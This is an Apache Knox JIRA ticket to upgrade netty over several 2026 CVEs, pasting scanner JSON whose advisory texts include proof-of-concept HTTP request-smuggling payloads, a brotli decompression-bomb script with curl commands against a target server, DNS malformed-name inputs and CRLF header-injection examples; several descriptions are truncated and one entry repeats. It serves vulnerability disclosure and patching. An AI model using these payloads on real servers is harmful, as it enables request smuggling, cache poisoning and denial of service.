Sandor Molnar created KNOX-3382:
-----------------------------------
Summary: Bump netty to 4.1.133.Final due to CVEs
Key: KNOX-3382
URL: https://issues.apache.org/jira/browse/KNOX-3382
Project: Apache Knox
Issue Type: Task
Affects Versions: 3.0.0
Reporter: Sandor Molnar
Assignee: Sandor Molnar
Fix For: 3.0.0
The netty dependencies have to be upgraded to 4.1.133.Final due to multiple
CVEs:
{noformat}
[
{
"cve_id": "CVE-2026-42579",
"severity": "CRITICAL",
"cvss": 9.1,
"description": "# Security Vulnerability Report: DNS Codec Input Validation
Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field |
Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** |
4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** |
`io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20:
Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400:
Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning /
Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2.
Affected Components\n\nBoth the encoder and decoder in the same file are
affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()`
method (lines 31-51):\n - No null byte validation in domain name labels\n -
No per-label length validation (RFC 1035 max: 63 bytes)\n - No total domain
name length validation (RFC 1035 max: 255 bytes)\n - Empty labels silently
truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` —
`decodeDomainName()` method (lines 53-118):\n - No per-label length validation
(max 63)\n - No total domain name length validation (max 255)\n - Unbounded
StringBuilder growth from attacker-controlled DNS responses\n\n## 3.
Vulnerability Description\n\nNetty's DNS codec does **not enforce RFC 1035
domain name constraints** during either encoding or decoding. This creates a
bidirectional attack surface: malicious DNS responses can exploit the decoder,
and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side
— Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g.,
`\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label
data. This creates a domain name that different DNS implementations interpret
differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a
single label containing a null\n- **C/native DNS libraries**: truncate at the
null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject
based on implementation\n\nThis differential interpretation enables **DNS cache
poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side —
Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted
by the encoder. The length byte is written as a single unsigned byte, so a
200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255
indicate **compression pointers**. This means:\n\n- A 200-byte label length
`0xC8` would be interpreted as a **compression pointer** by standards-compliant
DNS parsers\n- This creates **parser confusion** between label and pointer
interpretation\n\n### 3.3 Encoder Side — Silent Truncation via Empty
Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01]
'a' [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn
attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated
to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4
Decoder Side — Unbounded Memory Allocation\n\nThe decoder accepts labels of any
length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes
or the total domain name limit of 255 bytes. A malicious DNS server can return
responses with oversized labels, causing excessive memory allocation.\n\n###
Root Cause — Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void
encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n
buf.writeByte(0);\n return;\n }\n final String[] labels =
name.split(\"\\\\.\");\n for (String label : labels) {\n final int
labelLen = label.length();\n if (labelLen == 0) {\n break;
// NO ERROR - silently truncates!\n }\n // NO check: labelLen >
63\n // NO check: label contains null bytes\n // NO check: total
name > 255 bytes\n buf.writeByte(labelLen); // Can
write values > 63!\n ByteBufUtil.writeAscii(buf, label); // Null
bytes pass through!\n }\n buf.",
"published_date": "2026-05-07",
"package": "netty-codec-dns",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 70,
"risk_level": "critical",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-42581",
"severity": "CRITICAL",
"cvss": 9.8,
"description": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling
Sanitization\n\n| Field | Value |\n|-----------|-------|\n| Library |
`io.netty:netty-codec-http` |\n| Component | `codec-http` — `HttpObjectDecoder`
|\n| Severity | **HIGH** |\n| Affects | HEAD, commit `4f3533ae` confirmed
|\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a conflicting
`Content-Length` header when a request carries both `Transfer-Encoding:
chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is
absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both
headers causes Netty to decode the body as chunked while leaving
`Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or
handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on
message boundaries, enabling request smuggling.\n\n---\n\n## Root
Cause\n\n```java\n// HttpObjectDecoder.java:828-833\nif
(HttpUtil.isTransferEncodingChunked(message)) {\n this.chunked = true;\n
if (!contentLengthFields.isEmpty() && message.protocolVersion() ==
HttpVersion.HTTP_1_1) {\n
handleTransferEncodingChunkedWithContentLength(message); // strips CL —
HTTP/1.1 only\n }\n return State.READ_CHUNK_SIZE;\n}\n\n//
HttpObjectDecoder.java:870-873\nprotected void
handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n
message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n contentLength =
Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on
`message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares
`HTTP/1.0`, the condition is false,
`handleTransferEncodingChunkedWithContentLength` is never called, and the
`Content-Length` header survives into the forwarded message. Netty still
processes the body as chunked; a downstream component that is CL-first
interprets the same bytes as a separate request.\n\n---\n\n## Proof of
Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost:
internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length:
0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes
the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads
`Content-Length: 0`, considers the request complete at the blank line, and
treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second
request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a
reverse proxy or load balancer that is `Content-Length`-first (nginx, some
HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0
requests (either directly or by downgrading via connection manipulation).\n3.
No additional HTTP/1.0 stripping layer between attacker and Netty.\n\n---\n\n##
Impact\n\nRequest smuggling at the Netty edge. Allows cache poisoning, session
fixation against other users, unauthorized access to internal endpoints, and
bypassing of WAF or authentication layers that inspect only the first logical
request.\n\n---\n\n## Confirmed PoC Test\n\nVerified against HEAD (`4f3533ae`)
using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the
HTTP/1.1 contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport
io.netty.buffer.Unpooled;\nimport
io.netty.channel.embedded.EmbeddedChannel;\nimport
io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport static
org.junit.jupiter.api.Assertions.*;\n\npublic class NettySmugglingSec001Test
{\n\n // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict\n
@Test\n public void http10_contentLengthNotStripped() {\n
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n
ch.writeInbound(Unpooled.copiedBuffer(\n \"POST /api
HTTP/1.0\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\" +\n
\"Content-Length: 0\\r\\n\" +\n \"\\r\\n\" +\n
\"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n
HttpRequest req = ch.readInbound();\n
assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n //
Content-Length: 0 survives — downstream CL-first proxy treats chunked b",
"published_date": "2026-05-07",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 70,
"risk_level": "critical",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-42584",
"severity": "CRITICAL",
"cvss": 9.1,
"description": "### Summary\n If HttpClientCodec is configured, there are
use cases when a response body from one request, can be parsed as
another's.\n\n### Details\nHttpClientCodec pairs each inbound response with an
outbound request by `queue.poll()` once per response, including for `1xx`. If
the client pipelines GET then HEAD and the server sends 103, then 200 with GET
body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule
then skips reading that message’s body, so the GET entity bytes stay on the
stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites
\n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n###
PoC\n\n```java\n @Test\n public void test() {\n EmbeddedChannel
channel = new EmbeddedChannel(new HttpClientCodec());\n\n
assertTrue(channel.writeOutbound(new
DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n
ByteBuf request = channel.readOutbound();\n request.release();\n
assertNull(channel.readOutbound());\n\n
assertTrue(channel.writeOutbound(new
DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n
request = channel.readOutbound();\n request.release();\n
assertNull(channel.readOutbound());\n\n String responseStr = \"HTTP/1.1
103 Early Hints\\r\\n\\r\\n\" +\n \"HTTP/1.1 200
OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n \"HTTP/1.1 200
OK\\r\\n\\r\\n\";\n
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr,
CharsetUtil.US_ASCII)));\n\n // Response 1\n HttpResponse
response = channel.readInbound();\n
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n
LastHttpContent last = channel.readInbound();\n assertEquals(0,
last.content().readableBytes());\n last.release();\n\n //
Response 2\n response = channel.readInbound();\n
assertEquals(HttpResponseStatus.OK, response.status());\n last =
channel.readInbound();\n assertEquals(0,
last.content().readableBytes());\n last.release();\n\n //
Response 3\n FullHttpResponse response1 = channel.readInbound();\n
assertTrue(response1.decoderResult().isFailure());\n assertEquals(0,
response1.content().readableBytes());\n response1.release();\n\n
assertFalse(channel.finish());\n }\n```\n\n###
Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse
of the socket.",
"published_date": "2026-05-07",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 70,
"risk_level": "critical",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-45674",
"severity": "CRITICAL",
"cvss": 10,
"description": "### Summary\nNetty's DnsResolveContext fails to validate
the origin (bailiwick) of CNAME records in DNS responses.\n\n### Details\nIn
`io.netty.resolver.dns.DnsResolveContext#buildAliasMap`, the resolver processes
the ANSWER section of a DNS response and blindly caches all CNAME records it
finds.\n\nAccording to https://datatracker.ietf.org/doc/html/rfc5452#section-6
\n\n```\nCare must be taken to only accept\n data if it is known that the
originator is authoritative for the\n QNAME or a parent of the QNAME.\n One
very simple way to achieve this is to only accept data if it is\n part of the
domain for which the query was intended.\n```\n\n### Impact\nDNS Cache
Poisoning (Bailiwick Bypass). Any application using Netty's DNS resolver is
impacted.",
"published_date": "2026-06-09",
"package": "netty-resolver-dns",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 70,
"risk_level": "critical",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-47691",
"severity": "CRITICAL",
"cvss": 10,
"description": "### Summary\nNetty's `DnsResolveContext` insufficiently
validates the bailiwick of NS records, enabling DNS Cache Poisoning. An
attacker controlling an authoritative name server for a subdomain can poison
the cache for parent domains (like `.co.uk`).\n\n### Details\nIn
`io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add`
method accepts any NS record from the AUTHORITY section as long as the record's
name is a suffix of the questionName.\n\nThis means if the resolver queries
evil.co.uk., it will accept an NS record claiming authority over co.uk..
Subsequently, the `handleWithAdditional` method caches the associated A records
from the ADDITIONAL section directly into the `authoritativeDnsServerCache`
under the parent domain's key (co.uk.). This bypasses standard bailiwick rules,
where a server authoritative for a subdomain should not be trusted to provide
authoritative records for its parent. The poisoned cache is then used for all
future resolutions under co.uk..\n\nThe
`io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache`
method only prevents caching if the record is for the root zone (dots ==
1).\n\n### Impact\nDNS Cache Poisoning. Any application using Netty's DNS
resolver is impacted.",
"published_date": "2026-06-09",
"package": "netty-resolver-dns",
"version": "4.1.132.Final",
"fixed_in": "4.1.135.Final, 4.2.15.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 70,
"risk_level": "critical",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-42578",
"severity": "HIGH",
"cvss": 7.5,
"description": "# Security Vulnerability Report: HTTP Header Injection via
HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability
Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n|
**Version** | 4.2.12.Final (and all prior versions) |\n| **Component** |
`io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** |
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n|
**Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1
Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** |
`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** |
**GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n-
`io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method (line
176) explicitly disables header validation via `withValidation(false)`\n\n## 3.
Vulnerability Description\n\nNetty's `HttpProxyHandler` constructs HTTP CONNECT
requests with **header validation explicitly disabled**. The
`newInitialMessage()` method (line 176) creates headers using
`DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds
user-provided `outboundHeaders` (line 188-190) without any CRLF validation.
This allows an attacker who can influence the outbound headers to inject
arbitrary HTTP headers into the CONNECT request sent to the proxy
server.\n\n### Root Cause\n\n```java\n//
HttpProxyHandler.java:176-190\nprotected Object
newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n
HttpHeadersFactory headersFactory =
DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); //
<-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new
DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n
req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization
!= null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION,
authorization);\n }\n\n if (outboundHeaders != null) {\n
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT
VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter
comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is
supplied by application code.\n\n### Incomplete Fix of
GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the
previously acknowledged security advisory
[GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe
GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation
via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header
validation by default through `DefaultHttpHeadersFactory`. However,
`HttpProxyHandler` **explicitly opts out** of the fix by calling
`withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4
fix's header validation is bypassed\n2. User-provided `outboundHeaders` are
added without any CRLF check\n3. The resulting CONNECT request contains
unvalidated headers on the wire\n\nThis is not a new vulnerability class — it
is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix,
but `HttpProxyHandler` was missed during the remediation. The fix for
GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4.
Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1.
An application uses `HttpProxyHandler` with user-influenced
`outboundHeaders`\n2. The application does not perform its own CRLF
sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy
clients that forward user-specified custom headers\n- Web scraping frameworks
that allow users to set proxy headers\n- API gateways that pass user headers
through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy
Authentication Bypass\n\n```java\nHttpHeaders headers = new
DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); //
userInput from attacker\nne",
"published_date": "2026-05-07",
"package": "netty-handler-proxy",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-42583",
"severity": "HIGH",
"cvss": 7.5,
"description": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size
`decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs
a 21-byte header plus `compressedLength` payload bytes - 22 bytes if
`compressedLength == 1` - to force that allocation.\n\n###
Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader
fields are trusted for sizing. On the compressed path, after `readableBytes >=
compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength,
decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates
how an attacker sending 22 bytes will force the server to allocate
32MB\n\n```java\n @Test\n void test() throws Exception {\n
EventLoopGroup workerGroup = new
MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n
AtomicReference<Throwable> serverError = new AtomicReference<>();\n
CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap
server = new ServerBootstrap()\n .group(workerGroup)\n
.channel(NioServerSocketChannel.class)\n
.childHandler(new ChannelInitializer<SocketChannel>() {\n
@Override\n protected void initChannel(SocketChannel
ch) {\n ch.pipeline()\n
.addLast(new Lz4FrameDecoder())\n
.addLast(new ChannelInboundHandlerAdapter() {\n
@Override\n public void
exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n
if (cause instanceof DecoderException) {\n
serverError.set(cause.getCause());\n
} else {\n
serverError.set(cause);\n
}\n latch.countDown();\n
}\n });\n
}\n });\n\n ChannelFuture
serverChannel = server.bind(0).sync();\n\n Bootstrap client = new
Bootstrap()\n .group(workerGroup)\n
.channel(NioSocketChannel.class)\n .handler(new
ChannelInboundHandlerAdapter() {\n @Override\n
public void channelActive(ChannelHandlerContext ctx) {\n
ByteBuf buf = ctx.alloc().buffer(22, 22);\n
buf.writeLong(MAGIC_NUMBER);\n
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n
buf.writeIntLE(1);\n buf.writeIntLE(1 << 25);\n
buf.writeIntLE(0);\n
buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n
ctx.fireChannelActive();\n }\n
});\n\n ChannelFuture clientChannel =
client.connect(serverChannel.channel().localAddress()).sync();\n\n
assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n
clientChannel.channel().close();\n
serverChannel.channel().close();\n } finally {\n
workerGroup.shutdownGracefully();\n }\n }\n```\n\n###
Impact\nUntrusted senders without per-channel / aggregate limits can stress
memory with many small requests.",
"published_date": "2026-05-07",
"package": "netty-codec",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-42585",
"severity": "HIGH",
"cvss": 7.5,
"description": "### Summary\nNetty incorrectly parses malformed
Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty
incorrectly marks a request as chunked when malformed \"Transfer-Encoding:
chunked, identity\" is present.\nAccording to RFC
https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf
a Transfer-Encoding header field is present in a request and the chunked
transfer coding is not the final encoding,\n the message body length cannot be
determined reliably; the server MUST respond with the 400 (Bad Request)\n
status code and then close the connection.\n\"\n\nA possible scenario is when
Netty is behind a proxy that doesn't reject requests with \"Transfer-Encoding:
chunked, identity\", but prefers \"Content-Length\" and forwards the content to
Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second
request, demonstrating how an attacker can smuggle a second request inside a
request body.\n\n```java\n@Test\n public void test() {\n String
requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host:
localhost\\r\\n\" +\n \"Transfer-Encoding: chunked,
identity\\r\\n\" +\n \"Content-Length: 48\\r\\n\" +\n
\"\\r\\n\" +\n \"0\\r\\n\" +\n \"\\r\\n\" +\n
\"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host:
localhost\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel
channel = new EmbeddedChannel(new HttpRequestDecoder());\n
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr,
CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request =
channel.readInbound();\n
assertTrue(request.decoderResult().isSuccess());\n
assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n
assertFalse(request.headers().contains(\"Content-Length\"));\n
LastHttpContent last = channel.readInbound();\n
assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n
// Request 2\n request = channel.readInbound();\n
assertTrue(request.decoderResult().isSuccess());\n last =
channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n
last.release();\n }\n```\n\n### Impact\nHTTP Request Smuggling:
Attacker injects arbitrary HTTP requests",
"published_date": "2026-05-07",
"package": "netty-codec-http",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-42587",
"severity": "HIGH",
"cvss": 7.5,
"description": "## Summary\n\n`HttpContentDecompressor` accepts a
`maxAllocation` parameter to limit decompression buffer size and prevent
decompression bomb attacks. This limit is correctly enforced for gzip and
deflate encodings via `ZlibDecoder`, but is silently ignored when the content
encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the
configured decompression limit by sending a compressed payload with
`Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded
memory allocation and out-of-memory denial of service.\n\nThe same
vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2
connections.\n\n## Details\n\n`HttpContentDecompressor` stores the
`maxAllocation` value at construction time (`HttpContentDecompressor.java:89`)
and uses it in `newContentDecoder()` to create the appropriate decompression
handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to
`ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n//
HttpContentDecompressor.java:101 — maxAllocation IS
enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP,
maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this
as a hard cap by setting the buffer's `maxCapacity` and throwing
`DecompressionException` when the limit is reached:\n\n```java\n//
ZlibDecoder.java:68 — hard limit on buffer capacity\nreturn
ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation),
maxAllocation);\n// ZlibDecoder.java:80 — throws when exceeded\nthrow new
DecompressionException(\"Decompression buffer has reached maximum size: \" +
buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are
created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120
— maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n//
HttpContentDecompressor.java:129 — maxAllocation IGNORED\n.handlers(new
SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 — maxAllocation
IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no
`maxAllocation` parameter at all — there is no way to constrain its output. It
streams decompressed data in chunks via `fireChannelRead` with no total
limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this
only constrains individual buffer allocations, not total output. The decode
loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead`
repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern
exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at
lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with
decompression bomb protection:\n\n```java\npipeline.addLast(new
HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new
HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a
brotli-compressed bomb (~1KB compressed → 1GB
decompressed):\n\n```python\nimport brotli\nbomb = b'\\x00' * (1024 * 1024 *
1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith
open('bomb.br', 'wb') as f:\n f.write(compressed)\n# compressed size:
~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by
maxAllocation):\n\n```bash\n# This is caught — ZlibDecoder enforces the 1MB
limit\ncurl -X POST http://target:8080/api \\\n -H 'Content-Encoding: gzip'
\\\n --data-binary @bomb.gz\n# Result: DecompressionException thrown at
1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES
maxAllocation):\n\n```bash\n# This bypasses the limit — BrotliDecoder has no
maxAllocation\ncurl -X POST http://target:8080/api \\\n -H 'Content-Encoding:
br' \\\n --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory →
OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and
`Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An
attacker can cause out-of-memory conditions on any Netty server that relies on
`maxAllocation` for decompression bomb protection, by simply using a non-gzip
content encoding.\n- **False sense of security**: Developers who explicitly
configure `maxAllocation` t",
"published_date": "2026-05-07",
"package": "netty-codec-http2",
"version": "4.1.132.Final",
"fixed_in": "4.1.133.Final, 4.2.13.Final",
"epss_score": null,
"epss_percentile": null,
"risk_score": 50,
"risk_level": "high",
"jira_key": "",
"jira_status": "",
"kev": false
},
{
"cve_id": "CVE-2026-42587",
"severity": "HIGH",
"cvss": 7.5,
"description": "## Summary\n\n`HttpContentDecompressor` accepts a
`maxAllocation` parameter to limit decompression buffer size and prevent
decompression bomb attacks. This limit is correctly enforced for gzip and
deflate encodings via `ZlibDecoder`, but is silently ignored when the content
encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the
configured decompression limit by sending a compressed payload with
`Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded
memory allocation and out-of-memory denial of service.\n\nThe same
vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2
connections.\n\n## Details\n\n`HttpContentDecompressor` stores the
`maxAllocation` value at construction time (`HttpContentDecompressor.java:89`)
and uses it in `newContentDecoder()` to create the appropriate decompression
handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to
`ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n//
HttpContentDecompressor.java:101 — maxAllocation IS
enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP,
maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this
as a hard cap by setting the buffer's `maxCapacity` and throwing
`DecompressionException` when the limit is reached:\n\n```java\n//
ZlibDecoder.java:68 — hard limit on buffer capacity\nreturn
ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation),
maxAllocation);\n// ZlibDecoder.java:80 — throws when exceeded\nthrow new
DecompressionException(\"Decompression buffer has reached maximum size: \" +
buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are
created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120
— maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n//
HttpContentDecompressor.java:129 — maxAllocation IGNORED\n.handlers(new
SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 — maxAllocation
IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no
`maxAllocation` parameter at all — there is no way to constrain its output. It
streams decompressed data in chunks via `fireChannelRead` with no total
limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this
only constrains individual buffer allocations, not total output. The decode
loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead`
repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern
exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at
lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with
decompression bomb protection:\n\n```java\npipeline.addLast(new
HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new
HttpObjectAggregator(1048576)); // 1MB max\n```\n\n2. Generate a
brotli-compressed bomb (~1KB compressed → 1GB
decompressed):\n\n```python\nimport brotli\nbomb = b'\\x00' * (1024 * 1024 *
1024) # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith
open('bomb.br', 'wb') as f:\n f.write(compressed)\n# compressed size:
~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by
maxAllocation):\n\n```bash\n# This is caught — ZlibDecoder enforces the 1MB
limit\ncurl -X POST http://target:8080/api \\\n -H 'Content-Encoding: gzip'
